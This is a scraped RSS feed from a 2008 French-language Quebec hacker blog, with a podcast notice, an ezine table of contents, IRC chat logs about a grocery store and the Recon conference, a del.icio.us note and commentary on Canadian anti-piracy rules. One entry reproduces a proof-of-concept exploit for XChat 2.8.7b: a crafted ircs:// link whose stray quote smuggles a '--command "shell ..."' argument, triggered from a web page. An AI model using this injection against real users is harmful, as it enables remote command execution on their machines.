Source : http://www.onlineguardian.net/results.p ... -actif.net]]> http://www.mindkind.org/index.php?entry=entry080629-180058 2008-06-29T00:00:00Z 2008-06-29T00:00:00Z BotCast 29 Deceptimus & Botrax nous font le premier segment en Anglais avec une perspective de l'Oklahoma! Les drogues dans l'eau potable poussent les amaricains à faire des appels sur la radio pour tuer les activistes anti-guerre, mais les vols de banques augmentent à la place.

http://www.botcast.net/shows/2008/BotCa ... rround.mp3
]]> http://www.mindkind.org/index.php?entry=entry080626-131432 2008-06-26T00:00:00Z 2008-06-26T00:00:00Z Rafale 9 http://www.rafale.org/

au somaire

-------------------------------------------------------------------------
9.00 - Sommaire & Introduction & Disclaimer ---- Rafale
9.01 - In Your Street, Volume 1 ---- taskforce
9.02 - Soirée avec AlloPass ---- taskforce
9.03 - Protalk Plus - Alarm Reporting Unit ---- taskforce
9.04 - Mot de la fin ---- Rafale


Il sagit en gros d'un hommage postume a taskforce. Si un des membres de Rafale lit se blog (Comme si le contaire pouvait etre possible ;) ). On aimerait bien savoir si y va avoir d'autre ezine (donc laissez nous un message ;) ).
]]> http://www.mindkind.org/index.php?entry=entry080621-140302 2008-06-21T00:00:00Z 2008-06-21T00:00:00Z xchat 2.8.7b bug in url handler
Greetz to securfrog

##################################################################################################################
#
# Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched)
# Vendor : http://xchat.org/
# Affected Os : Windows *
# Risk : critical
#
# This bug is related to the URI Handler vulnerability but the approch is a bit different.
# We don't use any % or ../../../ as the others related bugs, just a single "
# According to the registry , when the IRCS:// URI is called , the command launched is :
# C:\Program Files\xchat\xchat.exe --existing --url="%1"
#
# The xchat --help option tells us :
# " --command=COMMAND :Send a command to existing xchat "
#
# So we add a simple " at the end of the URL and we're in business ?
# Yep =) ircs://blabla@3.3.3.3" --command "shell calc"
#
# Note: The victim needs to be connected to an irc server , and also need IE * .
#
#
#
# Greetz: French/Quebec community, http://spiritofhack.net/
#
# "If in times like theses you can talk about individual freedoom, you're propably a terrorist"
#
# Poc: this only launch the calc, sky is the limit passed this point.
<html>
<head><title>Welcome to my personal website</title></head>
<body>
<script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script>
</body>
</html>]]> http://www.mindkind.org/index.php?entry=entry080612-194118 2008-06-12T00:00:00Z 2008-06-12T00:00:00Z ca c'est passer dans une epicerie probablement loin de chez vous Wyzeman> lautre jour a lepicerie
<Wyzeman> jai decouvert LE DUDE qui mange des chips nature
<Wyzeman> yetais habiller en tonte de gris de la tete au pied
<Wyzeman> yetais peigner comme une photo
<Wyzeman> son look fesais comptable
<Wyzeman> yavais 1 sac de chips nature pi 3 sprite
<Wyzeman> tse c le gars qui aime pas ca le gout :)]]> http://www.mindkind.org/index.php?entry=entry080609-222326 2008-06-10T00:00:00Z 2008-06-10T00:00:00Z Recon 2008 Recon recidive cette année, du 10 au 15 juin, conférence et trainning se succederons et un party aura lieu le 13 juin.

Commme une discution vaut le nombre de mots qui a dedans ou a peu pret:

<dataworm> Btw on fait un party ouvert a tous
<dataworm> Y'a pas de cover charge http://recon.cx/2008/party.html
* SiDs is now known as SiD
<phawnky> can't make it, paintball le lendemain
<phawnky> avoir eut 300$ je serais aller a la conf, though.
<Wyzeman> c ben chere
<patoff-> c le prix etudiant...
<Wyzeman> et ya un prix underground ?
<Wyzeman> un discount pour le staff de mkd ? :)
<phawnky> hah.. right..
<phawnky> baw pour 3 jours c'est pas chere 300$
<phawnky> et GERA va etre la
<phawnky> haha
<Wyzeman> "c pas chere"...
<Wyzeman> jsais pas
<patoff-> non spa cher
<phawnky> baw les confs sont solide, spa des sell pich.
<patoff-> gera=?
<phawnky> LE gera dude
<Wyzeman> oui c chere :)
<patoff-> une fds a lhotel c ca ca coute donc c pas cher avec les conf inclus
<Wyzeman> pkoi jirais passer une fds a lhotel quand jpeu avoir un plancher gratis chez un ami ? haha
<patoff-> fourrer dans un lit confo chez ton amie
<phawnky> patoff-: le dude de coresecurity.com
<patoff-> ami*
<patoff-> phawnky: k
<phawnky> il avait fait plein de .c pour apprendre comment ecrire des exploits
<phawnky> tk
<phawnky> leet guy
<Wyzeman> on dirais le site de red hat
<phawnky> tk juste pour le diner avec gera ca l'aurait valu le 300$ imho
<Wyzeman> brr
<Wyzeman> ca vaut rien
<Wyzeman> tout squi vont dire la va deprecier plus vite que linflation
<patoff-> parler de rien a une table ... agree
<Wyzeman> so t mieu de garder ton 300$ pour acheter dla soupe won ton
<patoff-> ten a pour lanner!
<Wyzeman> c hot
<phawnky> naw naw naw, c'est un genre de lab
<phawnky> spa juste manger
<Wyzeman> jme rend compte que linformatique est rendu aussi poluer que tout le reste
<phawnky> sinon ca serait gay, eyah.
<phawnky> Wyzeman: dans quel sens? c'est saturé?
<Wyzeman> une conf "underground" a saveur corporative, dans une hotel upper, avec des "Vedettes"
<Wyzeman> non
<Wyzeman> dans le sens que c rendu hollywood like
<Wyzeman> le monde vont au conf pour 2 raisons, rester sur la coche pi se petter les bretelles,
<Wyzeman> tk
<Wyzeman> jmen va me coucher
<Wyzeman> jen aurais plus long a dire mais jpense pas que ca va donner grand chose
<patoff-> comme tout squi ce dit sur irc
<phawnky> Wyzeman: baw le crimfest etait pire.
<phawnky> Wyzeman: et leur confs s'etait tellement un osti de perte de temps.
<patoff-> le crim cetait dla chiasse de compagnie et rien de technique
<patoff-> ca se compare pas du tout
<phawnky> yeah
<phawnky> ca c'etais une conf a saveur corporative
<mulder> bon matin
<phawnky> avec des hollywood stars (le dude chauve de musique plus et LastCall_)
<phawnky> rien a voir avec recon



]]> http://www.mindkind.org/index.php?entry=entry080606-150107 2008-06-06T00:00:00Z 2008-06-06T00:00:00Z moi si moi si Yvanlefou est le premier sur la nouvelle (c'est qu'Il est bien ploggé le ivan). Il nous parle sur sont blog d'un soit disant nouveau concept underground adapter au monde du Web 2.0 offrant au personalité underground différente d'unifier leur opinion sur un blog commun (a peu pret comme on a décidé de faire voici déja 2 mois de ca).

On vous invites donc a y participé puisque anyway on va les passez au reader didgest eux aussi au meme titre que les autres ;)

ce nouveau site porte le nom de nibbles microblog (heu ok..)

Si vous etes soit lazy et/ou bien organisé voici dirrectement leurs feed rss

On leurs souhaite une longue et prospere vie dont on pourra bénéficié.



ps: si vous vous demandez pourquoi Ivan est si vite sur la nouvelle cest qu'il s'agit "d'un des" ou "de l'" admin"s" ;)

]]> http://www.mindkind.org/index.php?entry=entry080603-170558 2008-06-03T00:00:00Z 2008-06-03T00:00:00Z "Call for papers"
Les articles publier paraitrons sur le blog sous la categorie "one hit papers".


plus sa change... ;)

vous pouvez faire parvenir vos articles a laddresse suivante : wyzeman at mindkind dot org]]> http://www.mindkind.org/index.php?entry=entry080531-063018 2008-05-31T00:00:00Z 2008-05-31T00:00:00Z del.icio.us/Mindkind
Nous avons utilisé del.icio.us pour un paquet de raison, dont les feeds JSON qui remplissent la boite de droite.

Si vous êtes le moindrement observateur, vous allez remarquer que les tags matchent avec le wiki. En fait, un lien qui se retrouve classifié correctement dans nos bookmarks se retrouve aussi dans le wiki. Pour l'instant les premiers liens ajouter sont majoritairement à cause que nous avons entrer du stock y correspondant sur le wiki.

vous pouvez aussi regarder le tout directement sur del.icio.us pour profiter de leur interface.

Pour ceux qui ont envie de participer, vous pouvez vous créer un compte del.icio.us et soumettre des liens avec for:mindkind dans vos tags. Si vous êtes privilégié et que vous savez comment nous trouver sur IRC, vous pouvez aussi demander accès à notre GUI hyper facile qui ne nécessite aucun compte sur del.icio.us thanks to l'api de del.icio et de la classe PhpDelicious.

En passant pour ceux qui ont pas compris, del.icio.us ca se lit "delicious".. drôle hein?
]]> http://www.mindkind.org/index.php?entry=entry080521-230401 2008-05-22T00:00:00Z 2008-05-22T00:00:00Z take me out to the ball game.


Le professeur de droit à l’Université d’Ottawa Michael Geist, grand spécialiste des questions cybernétiques, a mis la main sur un projet de loi français qui contient une petite phrase plutôt inquiétante concernant notre beau pays.

Le document, qui émane de l’Élysée, dresse un portrait de ce qui fait dans le monde en matière de protection du droit d’auteur sur la Toile. On y apprend que le Canada serait en train de négocier avec les fournisseurs d’accès à internet pour bannir les internautes pris en flagrant délit de piratage après trois offenses — l’approche “three strikes you’re out



Tout le monde tourne la nouvelle comme dequoi que le canada est en train de négocié de tel accord, mais aucune source canadienne ne releve l'information alors quel se trouve deja dans des documents francais. Tant qua moi j'aurais pas mal plus peur pour mon cul si jétais francais étant donné que les lois labas sont déja beaucoup plus restrictive en matière de piratage informatique, il semblerait plus probable que la france emboite le pas au Canada dans se dossier.

noter aussi que ca peut sembler hard, mais concretement la liste de gens arreter au Quebec (je nai pas la liste canadienne, mais en gros on a juste a faire x10 dans sa tete) se limite a

1) 2 membres de NPC dont le nom méchape en 92
2) phaust en 96 ou 97
3) mafiaboy en 2000 ?
4) la gang de tata du rectum crew en 2008 (17 personnes)

pour un total de 21 personnes en 16 ans
et a peine 4 si on enleve l'affaire rectum crew

notez que aucune de ses personnes na été arrété plus de 1x pour piratage informatique ce qui porte un grand total de 0 personne affecter par ce projet de loi au Quebec.


Si vous avez des statistiques pour le reste du Canada ou de la France nésitez pas a men faire par question quon extrapole un peu sur le sujet.]]> http://www.mindkind.org/index.php?entry=entry080515-110804 2008-05-15T00:00:00Z 2008-05-15T00:00:00Z